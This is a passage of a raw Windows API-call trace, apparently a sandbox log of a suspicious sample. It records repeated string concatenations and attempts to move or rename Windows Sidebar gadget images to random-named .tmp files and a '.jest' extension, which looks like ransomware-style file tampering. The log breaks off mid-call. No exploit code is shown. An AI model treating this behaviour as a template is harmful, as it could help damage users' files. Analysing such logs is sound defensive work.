returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.106] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.107] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.107] GetFullPathNameA (in: lpFileName="sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp", lpFilePart=0x18e708*="sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp") returned 0x8e [0128.107] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png", lpFilePart=0x18e708*="40.png") returned 0x4b [0128.108] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sn9mbef3bwjm623jn_fzbppfzc fcmbvidmsr8-fczwb dux4__ht2pzxvreelp5x-w42uowjrxpilbzwbenxu8l_iihn-n8o6e8.tmp")) returned 0 [0128.110] GetLastError () returned 0x5 [0128.110] GetLastError () returned 0x5 [0128.110] SetLastError (dwErrCode=0x5) [0128.110] GetLastError () returned 0x5 [0128.110] SetLastError (dwErrCode=0x5) [0128.110] GetLastError () returned 0x5 [0128.110] SetLastError (dwErrCode=0x5) [0128.110] GetFullPathNameA (in: lpFileName="sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp", lpFilePart=0x18e6e4*="sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp") returned 0x8e [0128.110] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sn9mbEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d396e73, cFileName="bEF3BWJM623JN_fzBPPFZC FCMbvIDmsr8-FCzWb dUX4__HT2PzxvrEELP5x-W42uOWjrxpiLBZwBEnxu8L_IIhN-N8O6e8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.110] GetLastError () returned 0x2 [0128.110] GetLastError () returned 0x2 [0128.111] SetLastError (dwErrCode=0x2) [0128.111] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.111] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.111] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.111] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.111] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.111] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.111] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.111] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.111] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.112] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.112] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.112] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.112] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.112] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.112] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.112] CoFreeUnusedLibraries () [0128.112] GetTickCount () returned 0x115274f [0128.112] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.112] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.112] GetTickCount () returned 0x115274f [0128.112] IsWindowVisible (hWnd=0x30268) returned 0 [0128.112] Sleep (dwMilliseconds=0x0) [0128.113] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png.jest")) returned 0 [0128.115] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png", lpFilePart=0x18e6d8*="43.png") returned 0x4b [0128.115] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x57, dwReserved1=0x0, cFileName="43.png", cAlternateFileName="")) returned 0x143ce48 [0128.117] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.118] VarBstrFromR4 (in: fltIn=0x479445fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.96") returned 0x0 [0128.118] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0128.118] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0128.118] GetUserDefaultLCID () returned 0x409 [0128.118] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.118] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.118] CoFreeUnusedLibraries () [0128.118] GetTickCount () returned 0x115275f [0128.118] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.118] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.118] GetTickCount () returned 0x115275f [0128.118] IsWindowVisible (hWnd=0x30268) returned 0 [0128.118] Sleep (dwMilliseconds=0x0) [0128.119] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.119] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.120] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.121] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.122] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.123] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.124] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.125] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.126] GetFullPathNameA (in: lpFileName="F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp", lpFilePart=0x18e708*="F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp") returned 0x8f [0128.126] GetFullPathNameA (in: lpFileName="C:\\Program Files 